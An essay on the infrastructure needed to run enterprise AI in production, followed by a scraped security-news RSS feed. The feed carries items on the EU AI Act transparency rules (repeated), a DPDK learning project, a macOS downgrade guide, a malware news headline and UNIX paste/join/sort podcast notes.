Most organizations can build an impressive AI pilot. A small team can connect a model to a dataset, create a workflow and show a use case that works well in a controlled setting.

The harder part starts when that pilot moves into a real production process.

That is when practical questions show up. Who owns the data quality? What systems can the AI access? How do we trace which prompt, policy or retrieval flow produced a specific answer? What happens when an API slows down, a queue backs up or a downstream system is unavailable?

To me, these are not model problems. They are infrastructure problems.

This is where many enterprises are now headed. The first phase of AI was experimentation. The next phase is operationalization, and that is where the real gap becomes clear.

McKinsey has made a similar point in its work on agentic AI, noting that the next phase of value depends less on isolated tools and more on redesigning workflows, operating models and enterprise execution around agents.

AI pilots can survive on enthusiasm. Production AI requires architecture.

AI is becoming an integration problem

The more I look at enterprise AI, the more it feels like an integration challenge.

In large organizations, I have seen how messaging platforms, integration gateways, deployment pipelines, monitoring tools and cloud infrastructure can decide whether a digital capability succeeds or fails. AI will be no different. Even the strongest model will struggle if the data, middleware, identity layer and operational controls around it are weak.

AI does not work in isolation. It needs context from systems of record, clean data from different business areas, secure access to APIs, event streams, workflows, knowledge repositories, monitoring tools and legacy systems.

That is why the CIO question is changing.

It is no longer just, “Which AI tool should we buy?”

It is becoming, “Can we safely operationalize intelligence across the business?”

This is where agentic AI matters. Autonomous AI only creates real value when the architecture around it can make its actions safe, traceable and useful.

A model can generate an answer. Infrastructure determines whether that answer is secure, timely, explainable, governed and connected to the right workflow.

For example, an AI assistant that summarizes customer or order information may look like a model use case. But underneath, it depends on access control, fresh data, reliable APIs, logging, encryption, monitoring and policy enforcement.

If the answer is wrong, people may blame the model. But the real failure may have started with stale data, weak integration, poor access design, missing observability or an unreliable downstream system.

That is why CIOs should not judge AI only by model capability. The enterprise system around the model matters just as much.

Latency will become a trust issue

In traditional technology operations, latency is often treated as a performance metric. In AI-enabled workflows, latency becomes a trust issue.

When an employee asks an AI assistant for help and the response takes too long, the employee stops using it. When a customer-facing workflow becomes slow, the customer abandons it. When an AI agent waits on multiple backend calls, the entire business process feels unreliable.

This becomes even more important as organizations move from simple chat interfaces to agentic workflows. A single AI-driven action may include identity checks, context retrieval, policy validation, model reasoning, API calls, business-rule execution, logging and human approval.

Each step adds latency. Each dependency adds a possible failure point.

A model may be fast in a benchmark but slow inside an enterprise process. That difference matters.

This is where platform engineering becomes essential. Enterprises need reusable patterns for AI workloads: approved connectors, secure retrieval methods, queue-based decoupling, caching strategies, deployment pipelines, monitoring dashboards and standard rollback procedures.

Without those patterns, every AI initiative becomes a custom build. Custom builds may work for pilots, but they do not scale across a large enterprise.

Observability has to expand

Traditional monitoring tells us whether infrastructure is healthy. Is the server up? Is CPU high? Is memory exhausted? Is the application returning errors?

AI needs that, but it also needs more.

We need to know what data was retrieved, which model was used, which prompt version was active, which user initiated the request, which policy was applied, how long each step took and whether the output passed validation.

We also need to detect new forms of risk: unusual usage patterns, repeated failed tool calls, unexpected cost spikes, sensitive data exposure, weak retrieval results or an AI workflow attempting actions outside its intended boundary.

In production AI, observability is not only about uptime. It is about confidence.

If a business leader, auditor, regulator or security team asks why an AI system made a recommendation, the answer cannot be, “The model said so.” The enterprise needs traceability. It needs evidence. It needs operational context that engineers, risk teams and business owners can understand.

This is one of the biggest gaps I see in AI strategy. Many organizations are investing in models and use cases, but not enough in the control plane required to manage them.

Data readiness is still underestimated

AI has exposed an uncomfortable truth: many enterprises are not as data ready as they think.

Data is often duplicated across platforms, described differently by each team, governed inconsistently and refreshed on different schedules. Access rules may be clear in one system but unclear in another. Even basic business definitions can change from department to department.

AI does not fix that automatically. In many cases, it makes the problem more visible.

A bad report may be questioned. A bad AI answer may sound confident enough to be trusted.

That is a real risk.

Being data-ready for AI is not just about connecting a vector database or indexing documents. It requires clear ownership, lineage, classification, quality checks, retention rules, access boundaries and a shared understanding of which data should be used for which purpose.

The same principle applies to resilient cloud-native design. In my IEEE TechRxiv paper, “Enabling Fault-Tolerant Multicast in Cloud-Native Architectures” I explored how reliability, observability and fault tolerance become foundational requirements when critical workloads stretch across hybrid and multi-cloud environments.

CIOs already understand this because they have lived through enterprise resource planning programs, cloud migration, integration modernization, cybersecurity transformation and analytics initiatives. The lesson is familiar: technology cannot outrun data discipline forever.

Security cannot be added later

As AI moves from answering questions to acting, security becomes much more important.

An assistant that summarizes information carries one level of risk. An agent that can open a ticket, update a record, trigger a workflow, approve a request or contact a customer carries a very different one.

The more AI can do, the more identity, authorization, least privilege, separation of duties and human approval matter.

Enterprises should be careful not to grant AI broad access just to speed up a pilot. That may seem harmless in development, but it can become dangerous at scale.

AI access should be treated like any other privileged enterprise capability: limited, logged, reviewed and easy to revoke.

The NIST AI Risk Management Framework is a useful reference point here because it frames AI risk as something organizations must govern, map, measure and manage continuously rather than something handled only at the end of deployment.

Security teams should be involved early, not at the end. The goal is not to slow innovation. The goal is to build a platform where safe innovation becomes repeatable.

The CIO has to define the operating model

AI is creating pressure from every direction. Boards want productivity. Business teams want automation. Employees want better tools. Vendors are pushing new features. Security teams are watching risk. Finance teams are watching cost. Customers expect faster, smarter experiences.

The CIO sits in the middle of all of it.

That is why the CIO’s role cannot stop at choosing tools or approving pilots. The CIO has to define how AI will actually operate across the enterprise.

That means answering practical questions. Which architecture is approved? Which data sources can be trusted? How are AI workflows deployed, monitored, supported and governed? How are costs controlled? How do teams reuse common patterns instead of rebuilding the same foundation each time?

This work may not be as exciting as a model demo, but it is what separates sustainable AI from short-term experimentation.

The winning organizations will not be the ones with the most pilots. They will be the ones with the strongest AI operating layer.

They will build reusable platform patterns, strengthen data governance, design access properly, monitor AI behavior end to end and measure success by business improvement, not only model performance.

The model still matters. But the enterprise behind the model matters more.

A powerful model on weak infrastructure will eventually disappoint the business. A capable model on strong infrastructure can deliver real value because it can be trusted, secured, scaled and improved.

That is the shift CIOs need to lead.

The next AI bottleneck is not the model. It is whether the enterprise behind the model is ready.

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]]> <![CDATA[iOS 27 Beta: Everything You Need to Know About Beta 4]]> https://tsecurity.de/de/3683052/ios-mac-os/ios-27-beta-everything-you-need-to-know-about-beta-4/ https://tsecurity.de/de/3683052/ios-mac-os/ios-27-beta-everything-you-need-to-know-about-beta-4/ Tue, 21 Jul 2026 10:39:52 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Hackers Use GenAI to Build WebDAV Malware Lab Delivering PureRAT and Credential Stealers]]> https://tsecurity.de/de/3682858/it-security-nachrichten/hackers-use-genai-to-build-webdav-malware-lab-delivering-purerat-and-credential-stealers/ https://tsecurity.de/de/3682858/it-security-nachrichten/hackers-use-genai-to-build-webdav-malware-lab-delivering-purerat-and-credential-stealers/ Tue, 21 Jul 2026 08:53:46 +0200 📰 IT Security Nachrichten tsecurity.de Security researchers have uncovered an exposed WebDAV server operating as a malware testing and delivery lab, rather than a simple payload-hosting site. The infrastructure contained more than 1,000 files used to test phishing lures, shortcut abuse, Windows execution paths, and payload delivery chains leading to PureRAT and credential-stealing malware. The discovery began after MDR telemetry [
]

The post Hackers Use GenAI to Build WebDAV Malware Lab Delivering PureRAT and Credential Stealers appeared first on Cyber Security News.

]]> <![CDATA[How to roll back macOS Golden Gate on Apple Silicon]]> https://tsecurity.de/de/3682603/ios-mac-os/how-to-roll-back-macos-golden-gate-on-apple-silicon/ https://tsecurity.de/de/3682603/ios-mac-os/how-to-roll-back-macos-golden-gate-on-apple-silicon/ Tue, 21 Jul 2026 05:26:16 +0200 🍏 iOS / Mac OS tsecurity.de macOS Golden Gate beta must erase their startup disk and reinstall Tahoe, making a verified backup the most important step before they begin. Here's how to downgrade safely.

Open MacBook laptop displaying a macOS desktop, with a centered dark notification-style window showing text and calendar details, set against a neutral abstract wallpaper backgroundmacOS Golden Gate

Downgrading from macOS Golden Gate isn't as simple as leaving Apple's beta program. Turning off beta updates prevents later beta builds from installing, but it leaves the current operating system in place.

Returning to macOS Tahoe requires erasing the Mac's startup volume, reinstalling Tahoe, and restoring your files afterward. The reinstall is usually the easy part because protecting files created while running the Golden Gate beta takes more planning.

Apple recommends restoring a Time Machine backup made before the beta was installed. A newer backup may contain app data, settings, and databases that Golden Gate changed in ways that Tahoe can't fully understand.


Continue Reading on AppleInsider | Discuss on our Forums]]> <![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]> https://tsecurity.de/de/3682527/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ https://tsecurity.de/de/3682527/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ Tue, 21 Jul 2026 04:02:28 +0200 📰 IT Nachrichten tsecurity.de

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

This article originally appeared on CIO.com.

]]> <![CDATA[Looking for guidance on moving my low-latency C++ project from AF_PACKET to real DPDK kernel bypass]]> https://tsecurity.de/de/3682517/linux-tipps/looking-for-guidance-on-moving-my-low-latency-c-project-from-afpacket-to-real-dpdk-kernel-bypass/ https://tsecurity.de/de/3682517/linux-tipps/looking-for-guidance-on-moving-my-low-latency-c-project-from-afpacket-to-real-dpdk-kernel-bypass/ Tue, 21 Jul 2026 03:56:19 +0200 🐧 Linux Tipps tsecurity.de

Hi everyone,

I've been building a low-latency C++20 trading engine as a learning project over the past few months, and I'm now planning the next major version. I'd appreciate some guidance from people with DPDK or low-latency networking experience.

GitHub:
https://github.com/Shivfun99/Pulse-Order

past posts:

https://www.reddit.com/r/quantindia/s/u45s60B33Q

https://www.reddit.com/r/quant/s/IHKVkv0UGv

Current Version (V1)

The project currently includes:

  • Binary market data parsing
  • Level 2 order book
  • Strategy + risk checks
  • DPDK-based packet processing experiments
  • AF_PACKET backend for packet RX/TX
  • Cache-friendly C++20 implementation
  • Lock-free queues
  • Application-side latency benchmarking
  • Scenario testing and benchmarking framework

Current latency (application-side RX → TX enqueue) is in the sub-microsecond range under the benchmark setup, but I understand this is not true wire-to-wire latency since it doesn't involve a physical DPDK-supported NIC.

What I want to build in V2

I want to move to a real DPDK kernel-bypass architecture using a physical NIC instead of AF_PACKET.

My goals are:

  • Real kernel bypass using DPDK
  • VFIO-bound NIC
  • Poll Mode Driver (PMD)
  • Physical RX/TX queues
  • End-to-end latency measurement
  • Hardware timestamping (later)
  • Multi-queue support
  • Real market-data replay
  • Accurate p99/p99.9 latency analysis

My situation

At the moment I only have an ASUS TUF Gaming A15 laptop running Ubuntu. I don't have a desktop or server.

From what I've read, it seems server NICs like the Intel X520/X710/I350 require PCIe, which laptops generally don't provide.

My questions

  1. Is there any practical way to use a real DPDK-supported NIC with only this laptop?
  2. Would you recommend moving to a desktop before attempting real kernel bypass?
  3. What hardware would you buy if you were starting today on a limited budget?
  4. Are there any good open-source examples that demonstrate a complete RX → processing → TX pipeline with DPDK?
  5. If you were designing the next version of this project, what features would you prioritize?

I'm building this primarily to learn low-latency systems and HFT infrastructure, so I'd really appreciate any advice, recommended hardware, papers, repositories, or common mistakes to avoid.

Thanks!

submitted by /u/Federal_Tackle3053
[link] [comments]]]> <![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]> https://tsecurity.de/de/3682511/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ https://tsecurity.de/de/3682511/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ Tue, 21 Jul 2026 03:48:17 +0200 📰 IT Nachrichten tsecurity.de

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

]]> <![CDATA[HPR4687: UNIX Curio #11 - Merging Files]]> https://tsecurity.de/de/3682413/podcasts/hpr4687-unix-curio-11-merging-files/ https://tsecurity.de/de/3682413/podcasts/hpr4687-unix-curio-11-merging-files/ Tue, 21 Jul 2026 02:03:23 +0200 đŸŽ„ Podcasts tsecurity.de This show has been flagged as Clean by the host.

ether

This series is dedicated to exploring little-known—and occasionally useful—trinkets lurking in the dusty corners of UNIX-like operating systems.

I frequently find myself reaching for the cut utility when writing scripts to extract one piece of data from a line, or to select specific fields from a log file. While I am familiar with its counterpart, paste , I don't employ it very often because I don't typically need its functionality.

This perhaps has to do with the fact that I rarely work with text files containing lists. For shorter lists, I usually end up using a spreadsheet and for larger ones, a relational database. Both are valuable tools with their own strengths and weaknesses, but it is good to also know about standard utilities for working with lists. After uploading UNIX Curio #8 ( HPR episode 4657 ), I felt like maybe I had been too dismissive of the comm utility in that episode and should talk more about tools that are useful when managing lists.

I don't frequently find myself using paste 1 , but can explain how it works. Briefly, it is a rough opposite of cut —when given multiple files as arguments, it assembles the first line from each one separated by tabs, then the second line, and so on. Instead of tabs, a different delimiter can be chosen with the -d option. Another option is -s , which swaps rows and columns so that the contents of each named file would appear on one line. While paste itself doesn't qualify as a UNIX Curio in my opinion, there is one feature that does: a hyphen can be given as an argument multiple times. In this special case, the output is taken line by line from standard input, but is spread across as many columns as there are hyphens.

Example of using paste to turn the output of ls into columns. Because these columns are separated by tabs, they don't necessarily line up when a filename is eight or more characters long. The -1 is not required for the second ls command since that behavior is implied when output isn't going to a terminal. The -C option to ls usually gives nicer-looking output on a terminal—also, it lists in ascending order down by column. (Most implementations default to -C when output goes to a terminal.) If you want items ascending along rows like the paste example does, try ls -x instead. 

$ ls -1 /proc/net
anycast6
arp
bnep
connector
dev
dev_mcast
dev_snmp6
fib_trie
fib_triestat
hci
icmp
icmp6
if_inet6
igmp
igmp6
ip6_flowlabel
ip6_mr_cache
ip6_mr_vif
ip_mr_cache
ip_mr_vif
ip_tables_matches
ip_tables_names
[...35 more entries not shown...]
$ ls /proc/net | paste - - - -
anycast6        arp     bnep    connector
dev     dev_mcast       dev_snmp6       fib_trie
fib_triestat    hci     icmp    icmp6
if_inet6        igmp    igmp6   ip6_flowlabel
ip6_mr_cache    ip6_mr_vif      ip_mr_cache     ip_mr_vif
ip_tables_matches       ip_tables_names ip_tables_targets       ipv6_route
l2cap   mcfilter        mcfilter6       netfilter
netlink netstat packet  protocols
psched  ptype   raw     raw6
rfcomm  route   rt6_stats       rt_acct
rt_cache        sco     snmp    snmp6
sockstat        sockstat6       softnet_stat    stat
tcp     tcp6    udp     udp6
udplite udplite6        unix    wireless
xfrm_stat
$ ls -C /proc/net
anycast6      if_inet6           l2cap      rfcomm        tcp
arp           igmp               mcfilter   route         tcp6
bnep          igmp6              mcfilter6  rt6_stats     udp
connector     ip6_flowlabel      netfilter  rt_acct       udp6
dev           ip6_mr_cache       netlink    rt_cache      udplite
dev_mcast     ip6_mr_vif         netstat    sco           udplite6
dev_snmp6     ip_mr_cache        packet     snmp          unix
fib_trie      ip_mr_vif          protocols  snmp6         wireless
fib_triestat  ip_tables_matches  psched     sockstat      xfrm_stat
hci           ip_tables_names    ptype      sockstat6
icmp          ip_tables_targets  raw        softnet_stat
icmp6         ipv6_route         raw6       stat
$ ls -x /proc/net
anycast6           arp              bnep               connector     dev
dev_mcast          dev_snmp6        fib_trie           fib_triestat  hci
icmp               icmp6            if_inet6           igmp          igmp6
ip6_flowlabel      ip6_mr_cache     ip6_mr_vif         ip_mr_cache   ip_mr_vif
ip_tables_matches  ip_tables_names  ip_tables_targets  ipv6_route    l2cap
mcfilter           mcfilter6        netfilter          netlink       netstat
packet             protocols        psched             ptype         raw
raw6               rfcomm           route              rt6_stats     rt_acct
rt_cache           sco              snmp               snmp6         sockstat
sockstat6          softnet_stat     stat               tcp           tcp6
udp                udp6             udplite            udplite6      unix
wireless           xfrm_stat

The paste command has limitations—the files you give it must all be already arranged in the same order, and if any file is missing a value, it must have a blank line so that subsequent lines will match up correctly. The files do not necessarily have to be sorted alphabetically, but whatever order they are in has to be the same. Check out HPR episodes 962 and 4201 for some more background on the paste utility.

Example of using paste with files where some values are empty. Bob works from home so doesn't have an office assigned, and the laboratory Carol works in doesn't have a phone. This relies on the fact that the same line number in every file relates to the same person/entry. 

$ cat names
Alice
Bob
Carol
Dave
$ cat offices
203

Lab6A
117
$ cat phones
+1 212-555-1234
+1 919-555-2345

+1 212-555-1278
$ paste names offices phones
Alice   203     +1 212-555-1234
Bob             +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278

Our second UNIX Curio for today is a utility called join 2 , which has a bit more sophistication. It operates on two files, which can have multiple columns, and combines them using the join field. By default, the first column/field in each file is the join field, and only entries that exist in both files are printed. The -1 and -2 options can be used to join on a different field, and -o selects specific fields to be output. To make it so lines with missing entries also appear, you need to use the -a option, but an actual empty string with separator won't be printed unless -o is also present and includes the field.

The default field separator character is one or more "blanks" in the current locale—for the POSIX locale, this means a space or a horizontal tab. The -t option selects a different character and also removes the treatment of multiple occurrences as a single separator, making it possible to have an empty field in one or both of the files. By default, a single space is used to separate fields in the output. If -t is given, the same character is used for separating fields in both input and output. You would need to pipe output through another tool like tr if you wanted to have a different separator in the output.

The join utility might be an improvement over paste in some cases, since the join field makes it a little easier to identify which entries match up across files. It is limited to operating only on two files (one of which can be standard input), so combining more than that requires either creating temporary intermediate files or chaining together join commands in a pipeline. Another requirement is that all files must already be sorted in the current locale.

Example showing how join can be used with two tab-separated lists. The LC_ALL assignment forces join to sort using the C (POSIX) locale instead of whatever might be set in your environment. The "@" on the header line has no special meaning; it is just there to make sure it sorts before any letters or numbers (in the C locale; it might not in other locales). Note that if -t were not specified, plist would be treated as having three fields because of the space separating the country code from the rest of the phone number. 

$ export tab="$(printf '\t')" #To more easily use tab characters below
$ cat olist
@Name   Office
Alice   203
Carol   Lab6A
Dave    117
$ cat plist
@Name   Phone
Alice   +1 212-555-1234
Bob     +1 919-555-2345
Dave    +1 212-555-1278
$ LC_ALL=C join -t "$tab" olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Dave    117     +1 212-555-1278
$ LC_ALL=C join -t "$tab" -a 1 -a 2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob     +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278
$ #By default, join acts as if empty fields don't exist; use -o to include
$ LC_ALL=C join -t "$tab" -a 1 -a 2 -o 0,1.2,2.2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob             +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278
$ #The -e option sets a placeholder to use for empty fields
$ LC_ALL=C join -t "$tab" -e "(none)" -a 1 -a 2 -o 0,1.2,2.2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob     (none)  +1 919-555-2345
Carol   Lab6A   (none)
Dave    117     +1 212-555-1278

The brief description for join is "relational database operator"—I won't dispute that, but in my view it offers far fewer capabilities than people would expect from today's relational databases. I would imagine that when most people think of those they have Structured Query Language (SQL) in mind, which offers a lot more flexibility and functions to operate on data. However, I can see how join could be suitable for simple operations.

Our last UNIX Curio for today relates to the sort utility 3 . While, as you might expect, it is well-known for its ability to sort data, it has another feature that is more obscure. When used with the -m option, instead of sorting the files given as arguments, it merges them together. All of the files are expected to already be sorted—once combined, the list that is output will also be sorted. The order in which the files are named does not matter; it is not required for the contents of the first file to start before the second, just that both are sorted.

$ cat women
Alice
Carol
$ cat men
Bob
Dave
$ sort -m men women
Alice
Bob
Carol
Dave

